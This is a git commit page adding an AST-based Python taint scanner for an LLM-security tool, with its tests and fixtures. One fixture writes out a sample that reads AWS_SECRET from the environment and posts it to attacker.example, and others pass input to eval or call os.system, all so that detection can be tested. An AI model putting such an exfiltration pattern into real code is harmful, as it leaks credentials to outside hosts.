feat(llm-security): add AST Python-taint scanner with python3 fallback
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG
This commit is contained in:
parent
76e3543626
commit
e497bb768c
6 changed files with 466 additions and 0 deletions
118
scanners/ast-taint-scanner.mjs
Normal file
118
scanners/ast-taint-scanner.mjs
Normal file
|
|
@ -0,0 +1,118 @@
|
||||||
|
// ast-taint-scanner.mjs — AST: Python taint analysis via a shipped python3 helper
|
||||||
|
//
|
||||||
|
// The regex taint-tracer (taint-tracer.mjs) has ~70% recall and no scope or
|
||||||
|
// cross-statement awareness. This scanner shells out to a PARSE-ONLY python3
|
||||||
|
// helper (scanners/lib/py-ast-taint.py) that does variable-level, scope-aware
|
||||||
|
// taint analysis of Python skill code — higher recall/precision — and falls
|
||||||
|
// back gracefully to the regex tracer whenever python3 is unavailable.
|
||||||
|
//
|
||||||
|
// The helper only PARSES the target (ast.parse); it never executes it, so
|
||||||
|
// analysing hostile code is side-effect-free.
|
||||||
|
//
|
||||||
|
// OWASP coverage: LLM01 (prompt injection / untrusted input to action),
|
||||||
|
// LLM02 (sensitive information disclosure); AST02 (skills framework).
|
||||||
|
// Zero external dependencies — Node.js builtins only. python3 is optional.
|
||||||
|
|
||||||
|
import { spawnSync } from 'node:child_process';
|
||||||
|
import { join, dirname } from 'node:path';
|
||||||
|
import { fileURLToPath } from 'node:url';
|
||||||
|
import { finding, scannerResult } from './lib/output.mjs';
|
||||||
|
import { getPolicyValue } from './lib/policy-loader.mjs';
|
||||||
|
|
||||||
|
const __dirname = dirname(fileURLToPath(import.meta.url));
|
||||||
|
const HELPER = join(__dirname, 'lib', 'py-ast-taint.py');
|
||||||
|
|
||||||
|
/** True if the given python interpreter is runnable. */
|
||||||
|
function pythonAvailable(pythonPath, timeoutMs) {
|
||||||
|
const probe = spawnSync(pythonPath, ['--version'], { encoding: 'utf8', timeout: timeoutMs });
|
||||||
|
return !probe.error; // ENOENT (binary missing) sets probe.error
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Scan Python files for taint flows using the AST helper.
|
||||||
|
*
|
||||||
|
* @param {string} targetPath - Absolute root path being scanned
|
||||||
|
* @param {{ files: import('./lib/file-discovery.mjs').FileInfo[] }} discovery
|
||||||
|
* @returns {Promise<object>} - scannerResult envelope
|
||||||
|
*/
|
||||||
|
export async function scan(targetPath, discovery) {
|
||||||
|
const startMs = Date.now();
|
||||||
|
const findings = [];
|
||||||
|
let filesScanned = 0;
|
||||||
|
|
||||||
|
const enabled = getPolicyValue('ast', 'enabled', true, targetPath);
|
||||||
|
if (enabled === false) {
|
||||||
|
return scannerResult('ast-taint-scanner', 'skipped', findings, 0, Date.now() - startMs);
|
||||||
|
}
|
||||||
|
const pythonPath = getPolicyValue('ast', 'python_path', 'python3', targetPath);
|
||||||
|
const timeoutMs = getPolicyValue('ast', 'timeout_ms', 5000, targetPath);
|
||||||
|
|
||||||
|
if (!pythonAvailable(pythonPath, timeoutMs)) {
|
||||||
|
// Graceful degradation: regex taint-tracer still runs in the orchestrator.
|
||||||
|
return scannerResult('ast-taint-scanner', 'skipped', findings, 0, Date.now() - startMs);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
for (const fileInfo of discovery.files) {
|
||||||
|
if (fileInfo.ext !== '.py') continue;
|
||||||
|
filesScanned++;
|
||||||
|
|
||||||
|
const proc = spawnSync(pythonPath, [HELPER, fileInfo.absPath], { encoding: 'utf8', timeout: timeoutMs });
|
||||||
|
|
||||||
|
// Spawn-level error for THIS file (e.g. timeout) — note and continue.
|
||||||
|
if (proc.error) {
|
||||||
|
findings.push(noteFinding(fileInfo.relPath, `AST analysis could not run (${proc.error.code || proc.error.message})`));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// Helper exited non-zero (parse error / read error) — note and continue.
|
||||||
|
if (proc.status !== 0) {
|
||||||
|
findings.push(noteFinding(fileInfo.relPath, 'AST helper reported a parse/read error; file skipped'));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let parsed;
|
||||||
|
try {
|
||||||
|
parsed = JSON.parse(proc.stdout);
|
||||||
|
} catch {
|
||||||
|
findings.push(noteFinding(fileInfo.relPath, 'AST helper produced unparseable output; file skipped'));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!parsed || parsed.status !== 'ok' || !Array.isArray(parsed.findings)) {
|
||||||
|
findings.push(noteFinding(fileInfo.relPath, 'AST helper returned an unexpected payload; file skipped'));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const hf of parsed.findings) {
|
||||||
|
findings.push(finding({
|
||||||
|
scanner: 'AST',
|
||||||
|
severity: hf.severity || 'high',
|
||||||
|
title: `Python taint: ${hf.source} -> ${hf.sink}`,
|
||||||
|
description: hf.message || `Tainted data from ${hf.source} reaches ${hf.sink}.`,
|
||||||
|
file: fileInfo.relPath,
|
||||||
|
line: hf.line || null,
|
||||||
|
evidence: `${hf.rule}: ${hf.source} -> ${hf.sink}`,
|
||||||
|
owasp: 'LLM01',
|
||||||
|
recommendation: 'Validate or sanitize the value before it reaches the sink, or remove the dangerous sink.',
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return scannerResult('ast-taint-scanner', 'ok', findings, filesScanned, Date.now() - startMs);
|
||||||
|
|
||||||
|
} catch (err) {
|
||||||
|
return scannerResult('ast-taint-scanner', 'error', findings, filesScanned, Date.now() - startMs, err.message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Build an info-level note for a file the helper could not analyse. */
|
||||||
|
function noteFinding(relPath, reason) {
|
||||||
|
return finding({
|
||||||
|
scanner: 'AST',
|
||||||
|
severity: 'info',
|
||||||
|
title: 'AST taint analysis skipped for file',
|
||||||
|
description: `${reason}. The regex taint-tracer still covers this file.`,
|
||||||
|
file: relPath,
|
||||||
|
owasp: 'LLM01',
|
||||||
|
recommendation: 'No action required; informational.',
|
||||||
|
});
|
||||||
|
}
|
||||||
216
scanners/lib/py-ast-taint.py
Normal file
216
scanners/lib/py-ast-taint.py
Normal file
|
|
@ -0,0 +1,216 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""py-ast-taint.py — PARSE-ONLY Python taint helper for the AST scanner.
|
||||||
|
|
||||||
|
Reads a single target .py path (argv[1]), parses it with ast.parse, and walks
|
||||||
|
the tree for variable-level taint (data flow from an input source to a
|
||||||
|
dangerous sink) within each function/module scope. It prints one JSON object
|
||||||
|
to stdout:
|
||||||
|
|
||||||
|
{"status": "ok", "findings": [
|
||||||
|
{"rule": "...", "severity": "...", "line": int,
|
||||||
|
"source": "...", "sink": "...", "message": "..."}]}
|
||||||
|
|
||||||
|
On a parse error it prints {"status": "error", "message": "..."} and exits 2.
|
||||||
|
|
||||||
|
SAFETY INVARIANT: this helper only PARSES the target (ast.parse). It never
|
||||||
|
exec/eval/compile/imports the target, so analysing hostile code has no side
|
||||||
|
effects. The only filesystem access is reading the target as text.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import ast
|
||||||
|
import json
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# Sinks: dotted name (or bare builtin) -> (rule, severity, category)
|
||||||
|
CODE_EXEC_SINKS = {
|
||||||
|
"exec": ("AST-CODE-EXEC", "critical"),
|
||||||
|
"eval": ("AST-CODE-EXEC", "critical"),
|
||||||
|
"os.system": ("AST-CMD-EXEC", "critical"),
|
||||||
|
"os.popen": ("AST-CMD-EXEC", "critical"),
|
||||||
|
}
|
||||||
|
NET_SINKS = {
|
||||||
|
"requests.post": ("AST-NET-EXFIL", "critical"),
|
||||||
|
"requests.put": ("AST-NET-EXFIL", "critical"),
|
||||||
|
"requests.patch": ("AST-NET-EXFIL", "critical"),
|
||||||
|
}
|
||||||
|
|
||||||
|
READ_SOURCE_CALLS = {
|
||||||
|
"os.getenv": "os.getenv",
|
||||||
|
"input": "input",
|
||||||
|
"requests.get": "requests.get",
|
||||||
|
"requests.request": "requests.request",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def dotted(node):
|
||||||
|
"""Return the dotted name for a Name/Attribute chain, else None."""
|
||||||
|
if isinstance(node, ast.Name):
|
||||||
|
return node.id
|
||||||
|
if isinstance(node, ast.Attribute):
|
||||||
|
base = dotted(node.value)
|
||||||
|
return base + "." + node.attr if base else None
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def open_mode(call):
|
||||||
|
"""Best-effort 'mode' string of an open(...) call (default 'r')."""
|
||||||
|
if len(call.args) >= 2 and isinstance(call.args[1], ast.Constant):
|
||||||
|
return str(call.args[1].value)
|
||||||
|
for kw in call.keywords:
|
||||||
|
if kw.arg == "mode" and isinstance(kw.value, ast.Constant):
|
||||||
|
return str(kw.value.value)
|
||||||
|
return "r"
|
||||||
|
|
||||||
|
|
||||||
|
def is_write_open(call):
|
||||||
|
return any(c in open_mode(call) for c in ("w", "a", "x", "+"))
|
||||||
|
|
||||||
|
|
||||||
|
def source_label(value):
|
||||||
|
"""If `value` is a taint source expression, return a label, else None."""
|
||||||
|
if isinstance(value, ast.Subscript):
|
||||||
|
if dotted(value.value) == "os.environ":
|
||||||
|
return "os.environ"
|
||||||
|
return source_label(value.value)
|
||||||
|
if isinstance(value, ast.Attribute):
|
||||||
|
d = dotted(value)
|
||||||
|
if d == "os.environ":
|
||||||
|
return "os.environ"
|
||||||
|
if d and d.startswith("sys.stdin"):
|
||||||
|
return "sys.stdin"
|
||||||
|
return None
|
||||||
|
if isinstance(value, ast.Call):
|
||||||
|
fd = dotted(value.func)
|
||||||
|
if fd in READ_SOURCE_CALLS:
|
||||||
|
return READ_SOURCE_CALLS[fd]
|
||||||
|
if fd == "open":
|
||||||
|
return None if is_write_open(value) else "open"
|
||||||
|
if fd and fd.startswith("sys.stdin"):
|
||||||
|
return "sys.stdin"
|
||||||
|
# Chained access on a source, e.g. open(p).read() or sys.stdin.read()
|
||||||
|
if isinstance(value.func, ast.Attribute):
|
||||||
|
return source_label(value.func.value)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def assigned_names(target):
|
||||||
|
"""Yield bound Name ids for an assignment target (Name / Tuple / List)."""
|
||||||
|
if isinstance(target, ast.Name):
|
||||||
|
yield target.id
|
||||||
|
elif isinstance(target, (ast.Tuple, ast.List)):
|
||||||
|
for elt in target.elts:
|
||||||
|
yield from assigned_names(elt)
|
||||||
|
|
||||||
|
|
||||||
|
def walk_scope(body):
|
||||||
|
"""Pre-order walk of a scope's nodes, treating a nested function/class/lambda
|
||||||
|
as opaque (its body belongs to a separate scope and is analysed on its own)."""
|
||||||
|
stack = list(body)
|
||||||
|
while stack:
|
||||||
|
node = stack.pop(0)
|
||||||
|
yield node
|
||||||
|
if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef, ast.Lambda)):
|
||||||
|
continue # nested scope — do not descend
|
||||||
|
stack[:0] = list(ast.iter_child_nodes(node))
|
||||||
|
|
||||||
|
|
||||||
|
def tainted_arg(call, tainted):
|
||||||
|
"""Return (name, info) for the first directly-passed tainted Name arg."""
|
||||||
|
candidates = list(call.args) + [kw.value for kw in call.keywords]
|
||||||
|
for arg in candidates:
|
||||||
|
if isinstance(arg, ast.Name) and arg.id in tainted:
|
||||||
|
return arg.id, tainted[arg.id]
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def sink_for(call, write_handles):
|
||||||
|
"""Return (rule, severity, sink_label) if `call` is a sink, else None."""
|
||||||
|
fd = dotted(call.func)
|
||||||
|
if fd in CODE_EXEC_SINKS:
|
||||||
|
rule, sev = CODE_EXEC_SINKS[fd]
|
||||||
|
return rule, sev, fd
|
||||||
|
if fd in NET_SINKS:
|
||||||
|
rule, sev = NET_SINKS[fd]
|
||||||
|
return rule, sev, fd
|
||||||
|
if fd and fd.startswith("subprocess."):
|
||||||
|
return "AST-CMD-EXEC", "critical", fd
|
||||||
|
if isinstance(call.func, ast.Attribute) and call.func.attr == "write":
|
||||||
|
recv = call.func.value
|
||||||
|
if isinstance(recv, ast.Name) and recv.id in write_handles:
|
||||||
|
return "AST-FILE-WRITE", "high", "file.write"
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def analyze_scope(body):
|
||||||
|
tainted = {} # name -> (lineno, source_label)
|
||||||
|
write_handles = set() # names bound to open(..., 'w'/'a')
|
||||||
|
findings = []
|
||||||
|
for node in walk_scope(body):
|
||||||
|
if isinstance(node, ast.Assign):
|
||||||
|
src = source_label(node.value)
|
||||||
|
if src:
|
||||||
|
for name in (n for t in node.targets for n in assigned_names(t)):
|
||||||
|
tainted[name] = (node.lineno, src)
|
||||||
|
if isinstance(node.value, ast.Call) and dotted(node.value.func) == "open" \
|
||||||
|
and is_write_open(node.value):
|
||||||
|
for name in (n for t in node.targets for n in assigned_names(t)):
|
||||||
|
write_handles.add(name)
|
||||||
|
if isinstance(node, ast.Call):
|
||||||
|
sink = sink_for(node, write_handles)
|
||||||
|
if sink:
|
||||||
|
hit = tainted_arg(node, tainted)
|
||||||
|
if hit:
|
||||||
|
name, (src_line, src_label) = hit
|
||||||
|
rule, sev, sink_label = sink
|
||||||
|
findings.append({
|
||||||
|
"rule": rule,
|
||||||
|
"severity": sev,
|
||||||
|
"line": getattr(node, "lineno", 0),
|
||||||
|
"source": src_label,
|
||||||
|
"sink": sink_label,
|
||||||
|
"message": (
|
||||||
|
"Tainted value from %s (line %d) reaches %s via `%s`."
|
||||||
|
% (src_label, src_line, sink_label, name)
|
||||||
|
),
|
||||||
|
})
|
||||||
|
return findings
|
||||||
|
|
||||||
|
|
||||||
|
def iter_scopes(tree):
|
||||||
|
yield tree.body
|
||||||
|
for node in ast.walk(tree):
|
||||||
|
if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):
|
||||||
|
yield node.body
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(json.dumps({"status": "error", "message": "missing target path"}))
|
||||||
|
sys.exit(2)
|
||||||
|
path = sys.argv[1]
|
||||||
|
try:
|
||||||
|
with open(path, "r", encoding="utf-8", errors="replace") as fh:
|
||||||
|
src = fh.read()
|
||||||
|
except OSError as exc:
|
||||||
|
print(json.dumps({"status": "error", "message": "read error: %s" % exc}))
|
||||||
|
sys.exit(2)
|
||||||
|
try:
|
||||||
|
tree = ast.parse(src)
|
||||||
|
except (SyntaxError, ValueError) as exc:
|
||||||
|
print(json.dumps({"status": "error", "message": "parse error: %s" % exc}))
|
||||||
|
sys.exit(2)
|
||||||
|
|
||||||
|
findings = []
|
||||||
|
seen = set()
|
||||||
|
for body in iter_scopes(tree):
|
||||||
|
for f in analyze_scope(body):
|
||||||
|
key = (f["rule"], f["line"], f["source"], f["sink"])
|
||||||
|
if key in seen:
|
||||||
|
continue
|
||||||
|
seen.add(key)
|
||||||
|
findings.append(f)
|
||||||
|
print(json.dumps({"status": "ok", "findings": findings}))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
9
tests/fixtures/ast-scan/creds-net.py
vendored
Normal file
9
tests/fixtures/ast-scan/creds-net.py
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
|
||||||
|
|
||||||
|
def exfiltrate():
|
||||||
|
# Source: os.environ -> intermediate variable -> network sink.
|
||||||
|
secret = os.environ["AWS_SECRET"]
|
||||||
|
url = "https://attacker.example/collect"
|
||||||
|
requests.post(url, data=secret)
|
||||||
12
tests/fixtures/ast-scan/scope.py
vendored
Normal file
12
tests/fixtures/ast-scan/scope.py
vendored
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
# The variable `data` exists in both functions, but only one is tainted.
|
||||||
|
# A scope-aware analysis must flag handler_one and leave handler_two alone.
|
||||||
|
|
||||||
|
|
||||||
|
def handler_one(prompt):
|
||||||
|
data = input(prompt) # tainted source
|
||||||
|
eval(data) # sink -> should be flagged
|
||||||
|
|
||||||
|
|
||||||
|
def handler_two(prompt):
|
||||||
|
data = "a constant value" # literal, NOT tainted
|
||||||
|
eval(data) # same var name, must NOT be flagged
|
||||||
6
tests/fixtures/ast-scan/sentinel.py
vendored
Normal file
6
tests/fixtures/ast-scan/sentinel.py
vendored
Normal file
|
|
@ -0,0 +1,6 @@
|
||||||
|
import os
|
||||||
|
|
||||||
|
# Parse-only safety canary. If the AST helper ever EXECUTES this file instead
|
||||||
|
# of merely PARSING it (ast.parse), it creates a file named SENTINEL in the
|
||||||
|
# working directory. The test asserts SENTINEL never appears.
|
||||||
|
os.system("touch SENTINEL")
|
||||||
105
tests/scanners/ast-taint-scanner.test.mjs
Normal file
105
tests/scanners/ast-taint-scanner.test.mjs
Normal file
|
|
@ -0,0 +1,105 @@
|
||||||
|
// ast-taint-scanner.test.mjs — Tests for the AST Python-taint scanner.
|
||||||
|
// Fixtures in tests/fixtures/ast-scan/:
|
||||||
|
// - creds-net.py : os.environ -> variable -> requests.post (cross-statement taint)
|
||||||
|
// - scope.py : same var name in two functions, only one tainted (scope test)
|
||||||
|
// - sentinel.py : os.system("touch SENTINEL") — proves the helper PARSES, never runs
|
||||||
|
//
|
||||||
|
// python3-absent and malformed-input paths use throwaway temp dirs so they are
|
||||||
|
// deterministic regardless of the host having python3.
|
||||||
|
|
||||||
|
import { describe, it, beforeEach } from 'node:test';
|
||||||
|
import assert from 'node:assert/strict';
|
||||||
|
import { resolve, join } from 'node:path';
|
||||||
|
import { fileURLToPath } from 'node:url';
|
||||||
|
import { existsSync, mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
|
||||||
|
import { tmpdir } from 'node:os';
|
||||||
|
import { spawnSync } from 'node:child_process';
|
||||||
|
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||||
|
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||||
|
import { scan } from '../../scanners/ast-taint-scanner.mjs';
|
||||||
|
|
||||||
|
const __dirname = fileURLToPath(new URL('.', import.meta.url));
|
||||||
|
const FIXTURE = resolve(__dirname, '../fixtures/ast-scan');
|
||||||
|
|
||||||
|
// which-guard (mirrors vsix-sandbox.test.mjs): skip python3-dependent assertions
|
||||||
|
// when the interpreter is absent.
|
||||||
|
const HAS_PYTHON3 = !spawnSync('python3', ['--version']).error;
|
||||||
|
|
||||||
|
describe('ast-taint-scanner: python3 present', () => {
|
||||||
|
let discovery;
|
||||||
|
|
||||||
|
beforeEach(async () => {
|
||||||
|
resetCounter();
|
||||||
|
discovery = await discoverFiles(FIXTURE);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('flags creds -> network through an intermediate variable', { skip: !HAS_PYTHON3 }, async () => {
|
||||||
|
const result = await scan(FIXTURE, discovery);
|
||||||
|
assert.equal(result.status, 'ok');
|
||||||
|
const real = result.findings.filter(f => f.severity !== 'info' && f.file.includes('creds-net.py'));
|
||||||
|
assert.ok(real.length >= 1, `expected a taint finding on creds-net.py, got: ${result.findings.map(f => `${f.title}@${f.file}`).join('; ')}`);
|
||||||
|
assert.ok(real.some(f => /os\.environ/.test(f.evidence || f.description)), 'should name os.environ as the source');
|
||||||
|
assert.ok(real.some(f => /requests\.post/.test(f.evidence || f.description)), 'should name requests.post as the sink');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('respects function scope (only the tainted use is flagged)', { skip: !HAS_PYTHON3 }, async () => {
|
||||||
|
const result = await scan(FIXTURE, discovery);
|
||||||
|
const scopeReal = result.findings.filter(f => f.severity !== 'info' && f.file.includes('scope.py'));
|
||||||
|
assert.equal(scopeReal.length, 1, `scope.py should yield exactly 1 real finding, got ${scopeReal.length}: ${scopeReal.map(f => `L${f.line}`).join(', ')}`);
|
||||||
|
assert.ok(/input/.test(scopeReal[0].evidence || scopeReal[0].description), 'the flagged finding should trace back to input');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('emits DS-AST- ids with scanner AST', { skip: !HAS_PYTHON3 }, async () => {
|
||||||
|
const result = await scan(FIXTURE, discovery);
|
||||||
|
const wrong = result.findings.filter(f => !f.id.startsWith('DS-AST-') || f.scanner !== 'AST');
|
||||||
|
assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('ast-taint-scanner: parse-only safety', () => {
|
||||||
|
it('never executes the target (no SENTINEL file appears)', async () => {
|
||||||
|
resetCounter();
|
||||||
|
const discovery = await discoverFiles(FIXTURE);
|
||||||
|
await scan(FIXTURE, discovery);
|
||||||
|
// The canary would land in the process cwd or the fixture dir if executed.
|
||||||
|
assert.equal(existsSync(resolve(process.cwd(), 'SENTINEL')), false, 'SENTINEL must not be created in cwd');
|
||||||
|
assert.equal(existsSync(join(FIXTURE, 'SENTINEL')), false, 'SENTINEL must not be created in the fixture dir');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('ast-taint-scanner: python3 absent', () => {
|
||||||
|
it('returns status skipped when the interpreter is unavailable', async () => {
|
||||||
|
const dir = mkdtempSync(join(tmpdir(), 'ast-nopy-'));
|
||||||
|
try {
|
||||||
|
mkdirSync(join(dir, '.llm-security'), { recursive: true });
|
||||||
|
writeFileSync(
|
||||||
|
join(dir, '.llm-security', 'policy.json'),
|
||||||
|
JSON.stringify({ ast: { python_path: 'definitely-not-a-real-python-xyz' } }),
|
||||||
|
);
|
||||||
|
writeFileSync(join(dir, 'a.py'), 'import os\nk = os.environ["X"]\neval(k)\n');
|
||||||
|
resetCounter();
|
||||||
|
const discovery = await discoverFiles(dir);
|
||||||
|
const result = await scan(dir, discovery);
|
||||||
|
assert.equal(result.status, 'skipped');
|
||||||
|
assert.equal(result.findings.length, 0);
|
||||||
|
} finally {
|
||||||
|
rmSync(dir, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('ast-taint-scanner: malformed input resilience', () => {
|
||||||
|
it('completes without throwing on a syntactically invalid .py', async () => {
|
||||||
|
const dir = mkdtempSync(join(tmpdir(), 'ast-bad-'));
|
||||||
|
try {
|
||||||
|
writeFileSync(join(dir, 'broken.py'), 'def (:\n this is not python @@@\n');
|
||||||
|
resetCounter();
|
||||||
|
const discovery = await discoverFiles(dir);
|
||||||
|
const result = await scan(dir, discovery);
|
||||||
|
assert.ok(['ok', 'skipped'].includes(result.status), `unexpected status ${result.status}`);
|
||||||
|
assert.ok(Array.isArray(result.findings));
|
||||||
|
} finally {
|
||||||
|
rmSync(dir, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
Loading…
Add table
Add a link
Reference in a new issue